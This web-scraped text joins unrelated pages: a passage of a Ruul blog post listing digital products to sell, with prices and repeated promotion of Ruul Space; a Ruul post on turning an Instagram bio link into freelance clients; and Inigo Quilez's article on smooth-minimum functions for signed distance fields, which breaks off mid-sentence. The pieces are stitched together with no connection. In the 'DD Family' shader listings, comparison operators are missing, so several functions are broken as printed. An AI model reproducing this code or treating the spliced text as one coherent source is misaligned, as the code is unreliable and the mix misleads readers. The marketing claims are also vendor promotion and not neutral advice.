TikTok, etc., and grow there. How and where can you offer digital AI art? You’ve got two options in front of you. The first is to publish dozens of your designs on platforms such as Etsy and Gumroad. This is a good way to earn from volume. It brings in between $3 to $5 per unit and appeals to fast consumers. The second is becoming an AI artist for passion, a whole other dimension. Then the price increases to a minimum of $30 per unit. You build a brand on social media platforms such as Instagram. By listing your art on Ruul Space, you can offer a payment button and a premium showcase. 7. Digital Membership For your loyal followers You can offer a paid membership to your followers in exchange for a monthly promise. This could be membership in a Telegram channel, newsletter sign-up, early access to a product, or mentorship offers such as 1:1 messaging. It is generally popular on Substack, Gumroad, Instagram, YouTube, and X. If you are a writer, you can publish your paid articles on Substack. If you are a designer, you can give premium suggestions in an Instagram group. If you are a broadcaster, you can shoot special videos for people in exchange for a monthly YouTube membership. The logic here is to grant access to something. But not to one-time things, to current and living things. You must be active in groups, provide up-to-date content on time, and interact with people. Otherwise, they’ll cancel the membership. How and where can you offer digital membership? What you can offer and where you can offer it are very broad. You can use YouTube for video content, Substack for written content, and Twitch for paid streams. Selling memberships on Gumroad is also common, but it depends on what you offer. 8. Mockups A clever play for time and cost Mockups are Photoshop files used to make digital prints look like the real deal. Let’s say I’m that AI artist we just mentioned. I produced my art, but I can’t leave it naked. In this case, I grab a realistic frame mockup and add my product to it. This applies to other products too. People need this to display their products in a quality setting. Especially graphic designers and developers. They look for realistic phone, computer, and business card mockups to showcase their mobile apps and designs. Mockups work professionally in Photoshop. You prepare the mockup and then export it as a PSD. After your customer buys it, they follow the instructions you gave. In a few steps, they will have added the product to the mockup. How and where can you offer a digital mockup? Mockup prices aren't very high; they range from $5 to $ 10 on marketplaces like Etsy. But on Gumroad and Dribbble, some premium items and sets can cost $100 or more. Since you can also sell licenses on Ruul Space, you can increase prices further. Look, here is a sales view of a mockup on Ruul: 9. Templates Give people their time back People love templates that speed up their work and organize their lives. But when they hop into Notion, Excel, or Slides, they are met with blank or super basic templates. Since these aren't enough to solve their specific needs, they hunt for more advanced templates. At this point, you can discover what people in the industry need and offer custom templates. For example, a content tracking template for a marketer, a Notion template where a writer can categorize their writings, or Excel files that do automatic calculations. Stay away from simple templates like income-expense tracking. Produce something really specific, the kind of thing where people say, “I was looking for this.” Then sell it on marketplaces or your social media accounts under the name of “productivity, efficiency.” How and where can you offer templates? The templates' specificity, the problem they solve, and the level of effort required determine the price. If someone saves hours per day with your template, the cost of that savings can never be a few dollars. Start at $10 for simple ones; $50 for pro templates. Where you can sell them depends on which tool’s template you are selling. For instance, for Excel and Slide templates, you need a place to list your products, such as Gumroad, Ruul Space, or Dribbble. But you can list Notion templates for sale on its own marketplace without leaving the site. 10. Fonts Make words look awesome Designing a font means designing the form, proportions, and readability of characters from A to Z. You set a style and create every single character consistently. Then, you sell the rights to people so they can use them freely in their own content. My research shows these niches are hot right now: Quirky Sans Serifs Handwritten Scripts Old-School Vintage Fantastic Font Pairs But let’s be real, font design requires way more meticulous work than other design types. You need to know about character consistency, building a font family like “light, bold, italic,” and making sure the fonts work smoothly on every device. The cool part about selling this as a digital product is building it once and selling it hundreds of times. Instead of designing a font and getting paid once, you get a steady stream of income. Honestly, the competition isn't as crowded as it is for "logos." How and where can you offer fonts? The average font price ranges from $15 - $60 for personal use. For commercial and corporate licenses, though, you can price them at $200 - $1000+. MyFonts is one of the best options for selling directly on a font marketplace. Alternatively, selling fonts on Ruul Space, Creative Market, and Gumroad is also possible. 11. UI Kits Speed up design projects As a designer, you can make other designers' lives easier. Selling kits as a full-time or freelance UI designer is a superb digital product choice. You design ready-to-use buttons, menus, icons, and forms to speed up front-end devs’ projects. How and where can you offer UI kits? The average UI kit price ranges from $20 - $80 for small sets. You can bump the price up to the $100 - $300 range for full-featured professional and corporate kits. Envato Elements, Gumroad, and Ruul Space are the best spots to sell UI kits. If you’re looking for a ready-made marketplace, Gumroad is busier. Ruul Space, on the other hand, makes your products feel more premium while offering a pro payment infrastructure. 12. Stock Photo & Video Clips Content made easy Blog posts, ads, campaigns, and content always need royalty-free visuals. That’s literally the point of images on Adobe and Shutterstock. People like you and me capture these on our own devices and sell them for cash. Suppose you’re a photographer who knows what gems are hiding on your hard drive. Instead of letting them rot, dusting them off with some edits and selling them is a solid digital product move. Honestly, it’s the best play for a photographer. As of this year, there’s no rule saying you absolutely need a camera. Visuals generated by AIs like Midjourney, Gemini Banana, and Dall-E count as stock now. If you master them, you can achieve better results than a professional photographer. How and where can you offer stock photos/videos? Shutterstock and Adobe Stock are direct marketplaces, but they’re super cheap (and you can’t set the price). To start making money, you need to upload hundreds of items and make hundreds of sales. Might not even be worth the hassle. My take? Create specific bundles (like "20 pro office shots," "30 Istanbul city vibes," or "50 vegan food pics.") You have a much better chance of selling these at a higher price on Gumroad, Dribbble, and Ruul Space. 13. Plugins & Extensions Solve a user's problem Plugins and extensions make using apps and websites easier. Spotted a missing feature in an app? Chances are, others noticed it too and are totally down to pay for a fix. Popular examples include WordPress, Figma, and Notion plugins, plus Chrome browser extensions. Since these tools make work easier, demand is high, and they can bring in steady cash. I was just wondering the other day why we can't quickly export images from Docs. I looked for a plugin, found a few, but they didn't work perfectly. If someone made a better one and marketed it right, it could legit go viral. If you’ve got an idea like that, think about how you can turn it into a digital product. How and where can you offer plugins & extensions? Average prices range from $10-$50 for small tools, $50-$150 for mid-level functionality, and $200-$500+ for advanced/corporate licenses. On the sales side, define exactly what problem your product solves and which ecosystem it belongs to because not every product sells on every platform. Browser extensions naturally reach users via the Chrome Web Store, while Figma plugins and UI tools should be sold in Figma’s own ecosystem. For code-based plugins, scripts, and tech products, CodeCanyon is the place to be. 14. AI Prompts Package the magical prompts What digital products are in demand? We can’t answer this question without AI prompts. Enough time has passed to start mastering the art of AI prompting. You might have already noticed that you’ve become more adept at guiding it across various tasks, whether it’s for content creation, brainstorming, or problem-solving. Once you’ve refined these prompts, you can turn them into structured sets. Think of it as a GPT prompt kit specifically designed for developers, designers, or writers. If they deliver results, they are bound to sell. A freelancer would never hesitate to make a one-time payment for a prompt that significantly cuts down their workload. How and where can you offer AI prompts? On average, AI prompts such as those for Midjourney sell for around $3.99, while ChatGPT prompts go for about $4.99 (according to PromptBase). However, curated kits should naturally command a higher price point. When it comes to selling, the best platforms are PromptBase, Ruul Space, and Gumroad. Marketing these products on LinkedIn and showcasing them on platforms like Ruul Space and Dribbble typically yields the best results for reaching your target audience. How to start a digital product business Starting a digital product business is one of the most efficient ways to monetize expertise. Unlike physical goods, digital products, such as e-books, courses, and templates, require no inventory and have near-zero shipping costs. This efficiency drives gross profit margins as high as 70-90% , compared to the 10-20% often seen in physical e-commerce. 1. Identify a high-value niche Don't just "sell a course"; solve a specific, painful problem. Success favors specificity. For example, a "budgeting template for freelancers" often outperforms a generic "finance guide." Research indicates that the global digital goods market is valued at approximately $124 billion in 2025 , driven largely by specialized solutions in e-learning and virtual tools. 2. Validate before you build Avoid the "if I build it, they will come" trap. Validate your idea by engaging with communities on Reddit or specialized Facebook groups. Tools like Google Trends can help confirm search volume. If you can get ten people to commit to a pre-order or join a waitlist, you have a viable product. 3. Launch a Minimum Viable Product (MVP) Start small. Instead of a 10-hour masterclass, launch a simple PDF checklist or a mini-workshop. This reduces risk and allows you to iterate based on real feedback. With 72% of marketing budgets now allocated to digital channels, utilizing organic content on social media is a cost-effective way to drive your initial traffic. 4. Choose the Right Platform Sell your digital products on platforms like Ruul Space, Gumroad, Shopify, or Etsy. They handle the technical delivery, allowing you to focus purely on creation and marketing. With Ruul Space, your clients get an invoice which is preferred by many professionals.

Turn them into paying clients with Instagram bio links as a freelancer. Eran Karaso 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points You may wonder "How do I actually get clients from Instagram?" or "What should I even put in my bio link?" Over 31 million Instagram users utilize a link-in-bio tool. We invite you to join these users and take the most out of this opportunity to grow your freelancer business. That single link might feel like a dead end right now. Maybe you’re unsure what to link to, or you’re sending people to a homepage that does nothing for you. Here’s the thing: it’s not magic. It is a strategy. And once you know what works, it’s surprisingly simple to make that one link work harder for you. Here’s how you can turn that tiny spot into a resource to find freelance jobs . How to craft a killer Instagram bio Your bio is the first thing people see on your Instagram account. So make them want to step in. And it’s not just about making it look good. What you want is to make it work and to guide people toward that one link. That’s where we’re headed now. Here are practical ways to invite your profile visitors to click on the link. Name field is more than just a name Don’t just put your first name here. You can use the name field to describe yourself. For example, adding your title helps with searchability and instantly communicates what you do. Need an example: “SaaS Copywriter” or “Prompt Engineer”. If you want to focus on working in a location, you can also add this info. Bio text can give more info about your skills State who you help and how you do it. This is nothing less than your LinkedIn title if Instagram is a platform you use to find clients . Keep it short, benefit-driven, and to the point. Example: “Helping SaaS startups grow with words that convert.” Encourage to take action with a call-to-action Use action verbs to nudge the visitor toward your link. You can try saying “Book a free call,” “ See my work ,” or “Grab your free checklist.” So they will know what to expect when they click on the link. Which is the right ‘link in bio’ tool for Instagram The next step? Choosing a link-in-bio tool that matches your workflow, services, and the kind of experience you want potential clients to have. Here are some other options to consider: Ruul Space Built for independents who want to sell services, not just link stuff. Ruul Space lets you create a beautiful public space to list services, show availability, and accept payments globally—in 140 currencies. Designed specifically for freelancers. Linktree Linktree leads the link-in-bio market with over 24.7 million users. But for freelancers, popularity isn’t everything. Linktree adds one more step between your audience and the action you want them to take because it doesn’t lead your visitors to your portfolio. With Linktree you can list your different links and make your visitor choose the most relevant link. That delay can cost you leads. It’s a decent starting point—but lacks control, customization, and brand personality. Carrd Carrd is good as it is minimal and highly customizable. You can use it if you want total control over design. Using Carrd, you can build a mini-site from scratch, add custom domains, and integrate forms or buttons. Our recommendation is to go for Carrd if your goal is full customization and you’re comfortable designing your own layout. How to strategically link to conversion paths Let’s be honest—most freelancers just drop their homepage or LinkedIn profile in their bio and call it a day. But that doesn’t help you stand out or get clients. Instead, think of that link as your personal sales rep. It has much bigger potential. It should guide visitors to a page that does one thing really well: turn interest into action. Let’s see what you can do strategically to get more clients using Instagram bio links. Link to a clear offer page Let people know exactly what you do, who you help, and how they can work with you. If you want to save time on back-and-forths, go ahead and include your pricing upfront . You can use a link to your services page that says loud and clear: here’s what I do, who it’s for, and how to book me. This will make it easier for your potential clients to understand your offer exactly. Make it easy to hire you When you make it ridiculously easy for people to hire you, people will be more into show interest in your services. No DMs. No email chains. Just a clean link to your product or services so they can pick what they need and boom, you’re in business. For that, you will need a link-in-bio tool that also allows payment collection . Guide visitors to a high-converting landing page Make your landing page do the heavy lifting. Before hiring you, your potential clients want to see your portfolio and understand how you work. So your landing page should do more than just saying what you do. You also need to showcase a few samples of your best work. If you can also add a testimonial or two, they will know what to expect. But make sure the testimonial covers the names and companies so it will be more trustworthy. How to use Instagram content to build instant trust Once your landing page is ready to go, now it’s time to leverage your Instagram content to attract attention and build trust. If they land on your profile, scroll a bit, and instantly see proof that you know your stuff. Well, that's what you want, and here are some tips to build trust with your Instagram account: Show before-and-afters that speak for themselves People love a good transformation. Whether it’s a redesigned logo, a polished website, or a social post that boosted engagement, before-and-afters show what you’re capable of at a glance. You can create a carousel post that takes your followers behind the scenes—from messy start to polished finish. This is a reminder for you to take pictures at different steps while working on a project. Turn client wins into scroll-stopping stories Static results are cool, but a short narrative? That’s sticky. You can use carousels to turn a project into a mini case study: what the client needed, what you did, and what changed. Make sure you keep it visual and conversational. Highlight what matters most Highlights are the cheat sheet of your profile. Use them to showcase testimonials, behind-the-scenes clips, client FAQs, or service breakdowns. They help new visitors size you up fast. How to get discovered (with actionable challenges) Instagram can be noisy. It's a plus to help them find you in the crowd. When you take the first steps to get closer to your ideal clients, you make it easier for them to discover you. Here are some actionable tricks that guarantee results: Niche hashtags: Think industry-specific or role-based Challenge #1: Research 5 niche hashtags and start including them in your next post. Community Hashtags: Join broader freelancer circles like #freelancerlife or #digitalnomad to build visibility. Challenge #2: Use 1-2 community tags consistently for discoverability. Comment Strategy: Leave thoughtful comments on your dream clients’ posts. Show up, don’t sell. Challenge #3: Engage with 3 ideal client posts per day this week. DM warm-ups: Reply to Stories. Ask genuine questions. Let the conversation happen naturally. Challenge #4: DM 1 person per day who fits your ideal client persona. Avoid these costly bio link mistakes Before letting you start growing your freelance business with an Instagram bio link, here are some mistakes to avoid: Too many links Don’t make your link page a buffet. People don’t want to guess where to click—they want a clear next step. When everything’s important, nothing is. Instead, do that: Open your link page right now. Ask yourself: does each link point toward your main goal? If not, it’s time to trim the fat. No CTA If someone clicks your link and lands on a page with no direction, they’ll bounce. Fast. You’ve got their attention, don’t waste it. A clear call-to-action tells them exactly what to do next. Instead, do that: Add a bold, eye-catching CTA at the top and bottom of your linked page. Make it impossible to miss. Outdated info Things change fast—your offers, your availability, even your audience. If your bio link still leads to last month’s freebie or a retired service, you’re missing out. Keep it fresh. Instead, do that: Add a monthly reminder to your calendar to check your bio link. Update it like you would your shop window. Turn your bio link into a lead magnet Your Instagram bio link isn’t just a spot to toss in your website and hope for the best. It’s your online handshake, your pitch, your pay button—all rolled into one. So don’t treat it like an afterthought. Go back through this guide. Choose one tiny thing from each section to tweak today. Don’t wait to be “ready.” Just start. That’s how growth happens. Frequently asked question How can I make my Instagram bio link more effective in converting followers into clients? Your bio link should serve as a clear call-to-action (CTA). Instead of a generic homepage, direct visitors to a specific service page, booking form, or portfolio. Tools like Ruul Space allow you to showcase your services and accept payments seamlessly. Does using the phrase "link in bio" in captions affect engagement? Some users have observed a drop in engagement when using the phrase "link in bio" in captions. You can use alternative phrases or emojis to direct followers to your bio link, though experiences vary. Can I use multiple link-in-bio tools simultaneously? Instagram allows only one clickable link in your bio. Make sure you choose it wisely. Ruul Space is a great single link to add as your Instagram bio link. This way you can Showcase your portfolio, Offer products that clients can buy without leaving the page, Allow subscriptions to your services See the testimonials.

https://iquilezles.org/articles/smin/ | --> Inigo Quilez :: computer graphics, mathematics, shaders, fractals, demoscene and more Inigo Quilez :: :: Intro One of the basic building blocks of Signed Distance Field (SDF) modeling based on basic primitives (as opposed to Grids or Neural Networks) is the Smooth-Minimum operator or Smooth-Union. This is similar to a regular Minimum/Union operator, but, well "smooth". This means that where the regular or non-smooth Minimum/Union takes two input SDFs a and b and returns the closest one of the two, effectively combining both into a single field (for the distance to the combined shape is the distance to whichever piece is closest), the Smooth version combines the two shapes by blending and melting them together, if they are close enough. This helps not only aggregate shapes together, but sculpt organic shapes with them, as if the primitives were made of clay. Minimum Smooth-minimum The images above are an example of using the smooth minimum to sculpt a human face. First we have the regular minimum or union based field, where all the base primitives are clearly visible. Then we can see the Smooth-minimum or Smooth-union, where the shapes have blended together to form one continuous surface. You can see it work in realtime and explore the code in Shadertoy . A list of Smooth-minimums So the regular Minimum simply takes the lowest valued of two SDFs a and b : float min( float a, float b ) { return (a<b) ? a : b; } Most languages come with this function already defined, either as a hardware instruction (most likely) or through a software emulation with an actual branch like in the code above (most unlikely). Now, the Smooth-minimum must achieve a smooth, non-binary transition between the values of a and b for regions where a and b are close enough to each other within some tolerance k (measured in regular, distance units). So, when functions or surfaces are close enough to each other, the will blend or melt together. We can design an infinite number of such functions, each with different pros and cons, but here's a list of some such possible smooth-minimum functions that I've used at one point or another: // exponential float smin( float a, float b, float k ) { k *= 1.0 ; float r = exp2 (-a/k) + exp2 (-b/k); return -k* log2 (r); } // root float smin( float a, float b, float k ) { k *= 2.0 ; float x = b-a; return 0.5 *( a+b- sqrt (x*x+k*k) ); } // sigmoid float smin( float a, float b, float k ) { k *= log ( 2.0 ); float x = b-a; return a + x/( 1.0 - exp2 (x/k)); } // quadratic polynomial float smin( float a, float b, float k ) { k *= 4.0 ; float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - h*h*k*( 1.0 / 4.0 ); } // cubic polynomial float smin( float a, float b, float k ) { k *= 6.0 ; float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - h*h*h*k*( 1.0 / 6.0 ); } // quartic polynomial float smin( float a, float b, float k ) { k *= 16.0 / 3.0 ; float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - h*h*h*( 4.0 -h)*k*( 1.0 / 16.0 ); } // circular float smin( float a, float b, float k ) { k *= 1.0 /( 1.0 - sqrt ( 0.5 )); float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - k* 0.5 *( 1.0 +h- sqrt ( 1.0 -h*(h- 2.0 ))); } // circular geometrical float smin( float a, float b, float k ) { k *= 1.0 /( 1.0 - sqrt ( 0.5 )); return max (k, min (a,b)) - length ( max (k- vec2 (a,b), 0.0 )); } You have the code for the functions above here in this Shadertoy example . Now let's just have a look to their behavior first with a(x)=e -x and b(x)=sin(4x) ( quadratic , cubic , quartic , circular , exponential , sigmoid , square root , circular geometrical ): min(a(x),b(x)) smin(a(x),b(x)) When applied to shapes, they look like this: Moving shapes blended with constant k Stationary shapes blended with varying k On the left you can see a moving circle and a rectangle blended together by the different smooth-minimum functions defined above with a constant k> , and on the right you see the effect of modifying the parameter k over two constant shapes. The different colors of the shapes correspond to the different smooth-minimums above. Something interesting thing to note is, perhaps, that for any given parameter k , these smooth-minimum functions produce blending regions of approximately the same size. This is thanks to the normalization factors I've introduced for k in each variant. So let's talk about that next. Normalization, thickness and bounds If you've been using smooth-minimum functions before in Shadertoy or elsewhere, you probably have seen some of these smooth-minimum functions above (most likely the Quadratic one) but without the premultiplication of k that I have introduced here. This is a "normalization" factor that I've computed so that the parameter k always maps directly to the thickness of the blended area, in actual distance units. This equalizes all smooth-minimums and makes them more or less compatible and interchangeable with each other. You can see this effect in the animations above, where the neck connecting the circle and the rectangle has constant thickness regardless of the smooth-minimum in use. The computation of this normalization factor is easy - you need to consider the deviation of the smooth-minimum from the minimum when a = b . Later we'll learn that this is precisely the value of each smooth-minimum's Kernel function, evaluated at the origin. But for now, I hope it makes sense to you that when normalized this way, the value of the parameter k matches exactly the maximum inflation or thickening that the shapes a and b undergo due to the smooth blending happening. Which means that in this normalized form, the parameter k is also the bounding box expansion required to perfectly bound the smooth-minimum: Here the circle a and the rectangle b have been expanded by k units to produce a combined bounding volume in blue that touches exactly the shape of the smooth-minimum. Being able to perform this computation is hence key to getting good hierarchical acceleration structures like BVHs and grids for raycasting, proximity queries and collision detection. Mix factor Besides smoothly blending values, it's often also useful to share the blending factor to mix the materials of the two SDFs involved. As an example, in the image below I'm mixing the red and a blue materials based on this blending factor as computed by the code below, which returns the smooth-minimum in .x and the blend factor in .y for the Quadratic and the Cubic smooth-minimums. Please note I have propagated the g(0) normalization already into the expressions, to get some extra simplifications and regularlity. You can derive the blend factors for the other smooth-minimum functions rather easily too, I leave it to you as an exercise: // quadratic polynomial vec2 smin( float a, float b, float k ) { float h = 1.0 - min ( abs (a-b)/( 4.0 *k), 1.0 ); float w = h*h; float m = w* 0.5 ; float s = w*k; return (a<b) ? vec2 (a-s,m) : vec2 (b-s, 1.0 -m); } // cubic polynomial vec2 smin( float a, float b, float k ) { float h = 1.0 - min ( abs (a-b)/( 6.0 *k), 1.0 ); float w = h*h*h; float m = w* 0.5 ; float s = w*k; return (a<b) ? vec2 (a-s,m) : vec2 (b-s, 1.0 -m); } Mixing materials with smooth-minimum Code in Shadertoy The DD Family Okey, time to look into the smooth-minimum functions more in depth. We'll begin by recognizing that most of the functions I introduced at the beginning of the article actually belong to one family that generalizes them. The code above has been written in more or less optimized GPU code, which obfuscates the similarities between them, but if we rewrite them a bit, we'll see that the root , sigmod , quadratic , cubic , quartic and circular variants are very similar and belong to the same family: // root float smin( float a, float b, float k ) { k *= 2.0 ; float x = (b-a)/k; float g = 0.5 *(x+ sqrt (x*x+ 1.0 )); return b - k * g; } // sigmoid float smin( float a, float b, float k ) { k *= log ( 2.0 ); float x = (b-a)/k; float g = x/( 1.0 - exp2 (-x)); return b - k * g; } // quadratic polynomial float smin( float a, float b, float k ) { k *= 4.0 ; float x = (b-a)/k; float g = (x> 1.0 ) ? x : (x 1.0 ) ? 0.0 : (x*( 2.0 +x)+ 1.0 )/ 4.0 ; return b - k * g; } // cubic polynomial float smin( float a, float b, float k ) { k *= 6.0 ; float x = (b-a)/k; float g = (x> 1.0 ) ? x : (x 1.0 ) ? 0.0 : ( 1.0 + 3.0 *x*(x+ 1.0 )- abs (x*x*x))/ 6.0 ; return b - k * g; } // quartic polynomial float smin( float a, float b, float k ) { k *= 16.0 / 3.0 ; float x = (b-a)/k; float g = (x> 1.0 ) ? x : (x 1.0 ) ? 0.0 : (x+ 1.0 )*(x+ 1.0 )*( 3.0 -x*(x- 2.0 ))/ 16.0 ; return b - k * g; } // circular float smin( float a, float b, float k ) { k *= 1.0 /( 1.0 - sqrt ( 0.5 )); float x = (b-a)/k; float g = (x> 1.0 ) ? x : (x 1.0 ) ? 0.0 : 1.0 + 0.5 *(x- sqrt ( 2.0 -x*x)); return b - k * g; } These are mathematically equivalent versions of the ones introduced earlier, you can probably play a bit with pen and paper and rearrange the terms in the formulas to convince yourself that this is true. Indeed they can be written in either normal form (left) or the optimized form (right): float smin( float a, float b, float k ) { k /= g( 0.0 ); float x = (b-a)/k; return b - k*g(x); } float smin( float a, float b, float k ) { k /= g( 0.0 ); float h = max (k- abs (a-b), 0.0 )/k; return min (a,b) - k*g(h- 1.0 ); } First note that all the smooth-minimums in this family are, through the use of min() and the kernel, a function of the direct difference of the SDFs a and b . That's why I called this the Direct Diffrence Family (or DD Family). Now, the function g (x) is the only thing that's different among all the smooth-minimum of this family. I call this function g (x) the Kernel of the smooth-minimum. The Kernel plays the important role of defining many of the characteristics of the smooth-minimum, and we'll later in the article design a few interesting such kernels. For now, these are the graphs of a few of the kernels above ( quadratic , cubic , quartic , circular , sigmoid , square root ): A few DD kernels Kernel: g(x) = (x·(2+x)+1)/4 g(x) = (1+3x·(x+1)-|x 3 |)/6 g(x) = (x+1) 2 (3-x·(x-2))/16 g(x) = 1+½(x-√(2-x 2 )) g(x) = x/(1-2 -x ) g(x) = (x+√(x 2 +1))/2 Normalization factor: g(0) =1/4 g(0) =1/6 g(0) =3/16 g(0) =1-√½ g(0) =1 g(0) =1/2 The shape of the kernel g(x) is very specific. When x tends towards infinity, ie, when b is much larger than a , g (x) tends towards the identity x such that the smooth-minimum returns a . On the other hand, when x tends towards negative infinity, which happens when a is much larger than b , then g(x) tends towards 0.0 such that the smooth-minimum tends towards b . Basically, the Kernal behaves like the function max(x,0) , or ReLU if you are a Machine Learning person, but in a relaxed way. That's where the smoothness of the smooth-minimum comes from. In fact, if we make g(x)=max(x,0) , a perfect rectifier, then the smooth-minimum reduces, mathematically, to a regular minimum. The kernel plays a very important role in the normalization of the smooth-minimum. Note that to the right of the graphs I've noted the value of the kernel at the origin, that is, the height of its intersection with the y axis. This is because that's the value we are subtractng from b when we are equidistant to the two SDFs a and b , that is, when x = (b-a)/k = 0 , because a=b . That's the value we need to normalize all the smooth-minimums of this family against, for it is the thickest part of the blend region created between the source SDFs. If you'd like to compute these normalization values yourself, please note that in the case of the Sigmoid kernel you'll get a zero-divided-by-zero value, so you'll need to use L'Hopital's rule to get the correct answer. Now, some of the Kernels g(x) above never take the exact reach 0.0 nor x exactly, no matter how large x is in absolute value. These are the exponential , sigmoid and square root smooth-minimums, and that's the reason these three never return exactly neither a nor b , no matter how far and close these shapes are to each other. That in turn means that the shapes of the SDFs a and b will be distorted everywhere in space, not just in the neighborhood of the region of closest contact. I call this phenomenon "lack of Rigidity". On the other hand, the Quadratic and Circular smooth-minimums use kernels to which we added extra constraints that prevents this problem, and produce Rigid smooth-minimums, putting them in a different sub-family of smooth-minimums: the "CD Family": The CD Family This is the subset of smooth-minimums from the DD Family that force the kernel to connect perfectly with the identity and zero curves. Mathematically, their kernels satisfy these equations: g(-1) = g'(-1) = 0 g(1) = g'(1) = 1 These constraints effectively clamp the effect of the difference of distances, so that the smooth-minimum doesn’t have any effect on the SDF shapes a nor b once they are sufficiently far from each other, ie, k units apart or further. This is why I’m calling this the "Clamped Differences Family" or "CD Family". Naturally you can create an infinite variety of such kernels with these constraints, and therefore there are an infinite amount of possible smooth-minimums that you can use, but this article and the graph below show only a few of the ones I think are most relevant ( quadratic , cubic , quartic , circular ): A few CD kernels Kernel: g(x) = (x·(2+x)+1)/4 g(x) = (1+3x·(x+1)-|x 3 |)/6 g(x) = (x+1) 2 (3-x·(x-2))/16 g(x) = 1+½(x-√(2-x 2 )) Normalization factor: g(0) =1/4 g(0) =1/6 g(0) =3/16 g(0) =1-√½ For the sake of clarity, let me list again some of the smooth-minimums in the the CD family: // quadratic polynomial float smin( float a, float b, float k ) { k *= 4.0 ; float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - h*h*k*( 1.0 / 4.0 ); } // cubic polynomial float smin( float a, float b, float k ) { k *= 6.0 ; float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - h*h*h*k*( 1.0 / 6.0 ); } // quartic polynomial float smin( float a, float b, float k ) { k *= 16.0 / 3.0 ; float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - h*h*h*( 4.0 -h)*k*( 1.0 / 16.0 ); } // circular float smin( float a, float b, float k ) { k *= 1.0 /( 1.0 - sqrt ( 0.5 )); float h = max ( k- abs (a-b), 0.0 )/k; return min (a,b) - k* 0.5 *( 1.0 +h- sqrt ( 1.0 -h*(h- 2.0 ))); } And quickly as a historical note, I invented (deduced, I'd say) the quadratic-polynomial smooth-minimum somewhere between 2011 and 2012, but I only publish and shared the code in 2013 (in a few shaders in Shadertoy). Around 2015 the Media Molecule folks making the Dreams game optimized it (or maybe re-developed it, should ask Dave Smith). I've been using their version ever since they published the optimization. I'll however list the original smooth-minimum code here below for refence, since I know it's still circulating around in certain open source circles: // quadratic polynomial float smin( float a, float b, float k ) { float h = clamp ( 0.5 + 0.5 *(b-a)/k, 0.0 , 1.0 ); return mix ( b, a, h ) - k*h*( 1.0 -h); } Now, looking at all the options within the CD family, you might be asking yourself why would I ever consider using the circular variant above given it uses a square root, which can be a bit too slow to evaluate in some situations. We'll analyze and talk about this one later, but for now let's say that this kernel is the only one that leads to a CD smooth-minimum that produces an exactly circular connection between perpendicular objects. In that regard it is equivalent to the circular-geometrical smooth-minimum presented in the first listing in this article and which is used by some applications; but unlike the circular-geometrical smooth-minimum, the kernel in the CD family does not produce rendering and collision artifacts (more on this later). Gradients It is important that we stop here a bit to study the gradients of our smooth-minimum functions. For one side, computing analytic gradients rather than numerically can be a much faster way to do lighting or object placement and alignment. But more importantly for this article, it helps us analyze the behavior of our smooth-minimums mathematically. This is because a necessary (but not sufficient) condition for a field to be a Distance Field (such as an SDF) is that the length of its gradient is 1.0 exactly, everywhere. This can sometimes not be achieved, but knowing when we fail at fulfilling this condition, and by how much we fail to do so, is important information that helps us design our rendering algorithms accordingly. So, lets start the analysis by calling our smooth-minimum . Then its gradient will depend on the gradients of the input SDFs a and b like this: To check whether the resulting smooth-minimum f is also an SDF, we can look at its gradient, see if it has a length of 1. We can check that by computing its squared length: which expands into a quite large expression. But luckily we can group terms and get: If the input SDFs a and b are both truly SDFs and not just approximated or bounded SDFs, then which simplifies the squared length of the smooth-minimum gradient to Looking at this formula one thing is obvious - the length of the gradient depends on the relative orientation of the two SDF's gradients ∇a and ∇b. Now, armed with this information, let's analyze how the different smooth-minimum functions behave: Gradients of the DD and CD family In the case of the DD family we can move a bit more further, since we know that Therefore we can compute the partial derivatives in terms of the Kernel g(x) like this: This leads to the very compact expression for the gradient of the smooth-minimum: Remember that for our Kernels, we always have 0 ≤ g' ≤ 1. So according to the first equation above, the gradient of the smooth-minimum is the linear interpolation of the gradients of the input SDFs a and b . We know that other than at the extremes, the linear interpolation of two vectors is shorter than the two vectors (that's the reason we use slerp to interpolate quaternions/rotations, rather than lerp). This means that while the smooth-minimums in the DD family will never produce a correct SDF in the blended region, because the length is shorter than 1 we know that they will never overestimate the true distance, and therefore we can use them safely for raymarching and collision detection! We can also conclude the same thing by noting that in the second equation the parabola 2g'(1-g') is positive in the interval 0 ≤ g' ≤ 1) and that the dot product ∇a · ∇b ≤ 1 , making the whole expression smaller than 1. For the CD family of smooth-minimums, remember that outside the blending region where |a-b|>k , the Kernel g (x) is exactly 0 or x, which has derivatives 0 and 1 respectively, making the length of the gradient |∇f|=1. This means that the DD smooth-minimums are exact outside the blending regions, which we already knew since we constructed them explicitly to be behave that way. Since the Quadratic smooth-minimum is so common, it might be worth writing explicitly its gradient. Now, since the quadratic polynomial's Kernel is g(x)=(x·(2+x)+1)/4 , we have that g'(x)=(x+1)/2 . This results in the following code which can be used to compute both the smooth-minimum and its gradient in a single go, assuming now that the variables a and b bundle both the value of the SDF in .x and its gradient in .yzw (note again the code below already accounts for the normalization factor g (0)): // .x = f(p) // .y = ∂s(p)/∂x // .z = ∂s(p)/∂y // .w = ∂s(p)/∂z // .yzw = ∇s(p) with ∥∇s(p)∥<1 sadly vec4 smin( in vec4 a, in vec4 b, in float k ) { k *= 4.0 ; float h = max (k- abs (a.x-b.x), 0.0 )/( 2.0 *k); return vec3 ( min (a.x,b.x)-h*h*k, mix (a.yz,b.yz,(a.x<b.x)?h: 1.0 -h)); } The gradient of smin() in 2D Code in Shadertoy Having analytic gradients is more common than you might think for applications where you want to compute surface normals during the raymarch itself (for lighting volumetric shapes or for positioning elements in the scene), or for Machine Learning, without having to implement a full auto-differentiation framework. For examples you can visit the Distance+Gradient 2D SDF article where I've compiled a list of primitive distances and their analytic gradients computed efficiently by reusing expressions between both. Circular Profile Alright, earlier in the article I briefly mentioned that the particular shape of the blended region can be an important thing to consider. Different smooth-minimums will produce different profiles, even after normalization. And when doing mechanical modeling in particular, it can be useful to ensure that the profile of the blended region is perfectly circular. The Circular Geometric smooth-minimum achieves this objective explicitly, by construction. Unfortunately, it cannot be used for raymarching and collision detection as-is, for it overestimates distances. So this is where the Circular variant of the CD family comes to the 